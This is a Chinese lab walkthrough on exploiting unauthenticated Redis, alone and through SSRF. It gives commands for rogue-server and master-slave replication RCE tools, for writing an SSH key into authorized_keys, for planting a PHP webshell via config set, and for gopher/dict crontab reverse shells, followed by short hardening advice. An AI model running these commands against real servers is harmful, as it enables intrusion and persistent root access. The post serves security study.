Redis未授权访问及配合SSRF总结

news/2024/10/29 3:15:46/

Redis是一个开源的内存数据库,它用于存储数据,并提供高性能、可扩展性和丰富的数据结构支持。

Redis复现文章较全

Redis+ssrf漏洞利用探测内网

RedisInsight/RedisDesktopManager可视化连接工具

漏洞原理

1)redis绑定在 0.0.0.0:6379端口,且没有进行添加防火墙规则避免其他非信任来源ip访问等相关安全策略,直接暴露在公网;(2)没有设置密码认证(一般为空),可以免密码远程登录redis服务。 

Redis 默认情况下,会绑定在 0.0.0.0:6379,如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等,这样将会将 Redis 服务暴露到公网上,
如果在没有设置密码认证(一般为空)的情况下,会导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读取 Redis 的数据。
攻击者在未授权访问 Redis 的情况下,利用 Redis 自身的提供的config 命令,可以进行写文件操作,并且写公匙登录

测绘查找

port="6379"&server="redis"

Docker开启环境

docker-compose up -ddocker-compose ps  // 查看端口6379

kali扫描主机同样存在

Redis(<=5.0.5) RCE 工具梭哈

RedisRCE工具

攻击机下载RCE工具 redis-rogue-server工具。使用该工具将在终端伪造一个redis服务并尝试与目标连接实现未授权访问

git clone  https://github.com/n0b0dyCN/redis-rogue-server   // kali直接下载 python3 ./redis-rogue-server.py --rhost 靶机ip --lhost 攻击机ip  // 连接i // 交互式  成功RCE 

Redis 4.x/5.x 主从复制 RCE

工具地址

主从复制是指将一台Redis主服务器的数据,复制到其他的Redis从服务器。前者称为主节点(master),后者称为从节点

漏洞原理是目标靶机存在ssrf漏洞探测到了Redis未授权,我们可以自己搭建一个redis服务器作为目标靶机的主服务器,也就是说我们在redis服务器恶意构造.so文件,通过主从复制的模式到该目标靶机实现RCE


通过工具远程连接执行,原本是通过git在kali克隆但是克隆不了,所以从物理机手动下载移到Kali并且进入redis-rogue-getshell-master/RedisModulesSDK/exp路径使用make命令下载模块,下载完成后cd回到根目录redis-rogue-getshell-master

python ./redis-master.py -r 10.2.109.98 -p 6379 -L 192.168.111.128 -P 8989 -f RedisModulesSDK/exp/exp.so -c "whoami"// 第一个IP 靶机IP  第二个 攻击机IP   最后为需要执行的命令

未授权生成ssh1公私钥免密登录

登陆linux有几种方式,最常用的是密码登陆和RSA key 登陆,RSA key登陆是生成一个公私对应的秘钥; 未授权成功后将自己的ssh公钥写入目标服务器的/root/.ssh文件的authotrized_keys 文件中,进而可以使用保留在攻击机对应私钥使用ssh服务器登录目标服务器

  • 为什么redis可以获取服务器的root权限呢?RSA key的登陆方式在服务器方面是要将公钥写入目标authorized_keys文件中的,而redis有一种持久化方式是生成RDB文件,通过持久化将公钥写入root下的authored_keys文件里,这样就将非法的公钥写到了验证文件里^注释2,后面我们拿对应私钥登陆即可(但是这种方式需要再redisroot启动的情况下使用,因为非root权限无法进入/root目录)

攻击机中生成ssh公钥和私钥文件,密码为空一直回车就行 id_rsa为私钥,id_rsa.pub为公钥

进入ssh目录将生成的公钥保存到1.txt并且使用远程连接攻击连接靶机把1.txt写入redis

(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > 1.txt  // 攻击机保存文件cat 1.txt | redis-cli -h 192.168.31.169 -x set crack

下面操作就是更改目标服务器Redis备份路径为ssh公钥存放目录,但是一直是权限不足,所以没有弄了,下面是别人的操作,上传公匙文件保存退出

此时在攻击机上使用SSH免密登录靶机,利用私钥成功登入redis服务器

Redis-cli工具连接写shell

攻击机下载工具

wget http://download.redis.io/redis-stable.tar.gztar -zxvf redis-stable.tar.gz
cd redis-stable
make  // 编译 时间很久

远程连接Redis服务器免密登录命令

无密码登录命令C 目标主机IP有密码登录命令redis-cli -h 目标主机IP -p 端口6379 -a 登录密码redis-cli -h 10.2.109.98  // 连接靶机redis服务器info  // 输出获取有关 Redis 服务器的各种信息,包括版本、模式、操作系统等

写入shell文件

靶场没有开启web端口无法直接上传木马文件,用写入shell文件的方式添加后门攻击者在未授权访问Redis的情况下,利用服务自身提供的config命令,可以进行写文件所以可以写入shell,在上文远程连接基础上写入文件,选择/tmp目录通常对所有用户都是可读写的

config set dir /tmp   // 选择目录为tmp
config set dbfiname saber.php   // 文件名为saber.php// 添加几\r\n个换行,是因为redis写入文件时会自带一些版本信息,若不换行可能会导致木马无法正常执行set webshell "\r\n\r\n<?php phpinfo();?>\r\n\r\n"  // 文件内容
save  // 执行 

写入文件后可以通过容器ID查看文件

Docker查看写入Shell成功,使用IP结合路径就可以 连接蚁剑了

Redis+SSRF

国光SSRF靶场探测内网

SSRF中Redis的利用掌控社区

飘渺红尘对于SSRC协议攻击Redis分析

goher协议写RCE脚本项目

利用SSRF伪协议 file读取机器文件获得内网IP 再次利用伪协议DICT 配合内网IP探测内网端口开放情况,如果存在6379开放且是未授权连接则可以按上面的打方打,前提是SSRF扫描到了内网的Redis服务,然后 SSRF配合伪协议在Redis里面写东西,利用上面的工具,通常都是gopher协议构造数据包,SSRF打Redis关键就是用**gopher2/dict协议 两个都可以写一句话,dict可以写计划任务

  • config写一句话shelltmp或者其他有写入权限目录 ; 知晓网站绝对路径通过蚁剑连接,
  • 攻击机生成公私钥复制上传,造成免密登录对方机器
  • crontao写入计划任务反弹shell

修复建议

  • 修改redis.conf配置文件设置bind 127.0.0.1,这将限制Redis仅接受来自本地主机的连接
  • 设置强密码连接Redis需要进行身份验证

  1. 登录方式:私匙生成 公匙验证 ↩︎

  2. 使用gopher发送各种格式的请求包,利用此协议可以攻击内网的 FTP、Telnet、Redis、Memcache,也可以进行 GET、POST 请求。这无疑极大拓宽了 SSRF 的攻击面。 ↩︎


http://www.ppmy.cn/news/1542762.html

相关文章

gitlab 迁移

备份 查看之前docker的启动命令 history|grep run docker run -i --name gitlab \ --restartalways \ -p 8022:22 \ -p 80:80 \ -p 8443:443 \ -v /home/gitlab/etc:/etc/gitlab \ -v /home/gitlab/log:/var/log/gitlab \ -v /home/gitlab/data:/var/opt/gitlab \ twang22…

姿态传感器(学习笔记上)

上节我们学的是温湿传感器&#xff0c;这节我们学的是姿态传感器&#xff0c;虽然都是传感器&#xff0c;但是它们还是有很大的区别的&#xff0c;这节的传感器我们通过学习可知&#xff0c;开发板上的姿态传感器型号是QMI8658C&#xff0c;内部集成3轴加速度传感器和3轴陀螺仪…

mysql两个字段数据相同

mysql两个字段数据相同 SELECT t1.* FROM table t1 JOIN table t2 ON t1.id ! t2.id AND t1.field1 t2.field1 AND t1.field2 t2.field2 删除两个相同字段数据 DELETE FROM table where id in(SELECT id from ( SELECT t1.id FROM table t1 …

Javascript立即执行函数

//立即执行函数 把函数的声明看作一个整体声明结束就立即调用 // (function(){console.log(hello) // })(); console.log((function (){ return 0; })()); // let afunction(){ console.log(hello) }; console.log(typeof a);//function,数组&#xff1a;objeck

llama.cpp基础知识与原理导读

llama.cpp 是一个轻量化的 C 实现&#xff0c;专注于 Meta 的 LLaMA 模型的推理和部署。该项目致力于在不依赖庞大的深度学习框架&#xff08;如 PyTorch、TensorFlow 等&#xff09;的情况下&#xff0c;实现对 LLaMA 模型的高效运行&#xff0c;特别是在资源受限的设备上&…

Spring Cloud --- Sentinel 流控规则

流控模式 直接 一秒请求两个&#xff0c;超过则失败。 关联 /testA请求&#xff0c;一秒请求1个&#xff0c;超过1个&#xff0c;限流/testB请求 链路 common()方法同时被/testC和testD调用&#xff0c;实施针对性的不同限流措施&#xff0c;比如/testC请求来访问就限流&am…

单机kafka性能需要高性能的硬件做支撑

一般来说&#xff0c;单机kafka在硬件支持的情况下&#xff0c;能支持每秒100万写入&#xff0c;如果硬件没有那么好的话(机械硬盘&#xff0c;容器内给内存8G&#xff0c; CPU也不是很好)&#xff0c;就只能减少每秒的写入量&#xff0c;每秒写入5万都比较不错了。 如果强行每…

【Linux】Canal主从复制

canal.deployer-1.1.7.tar.gzcanal.adapter-1.1.7.tar.gzcanal.admin-1.1.7.tar.gzcanal.example-1.1.7.tar.gz 什么是Canal&#xff1f; 阿⾥巴巴 B2B 公司&#xff0c;因为业务的特性&#xff0c;卖家主要集中在国内&#xff0c;买家主要集中在国外&#xff0c;所以衍⽣出了…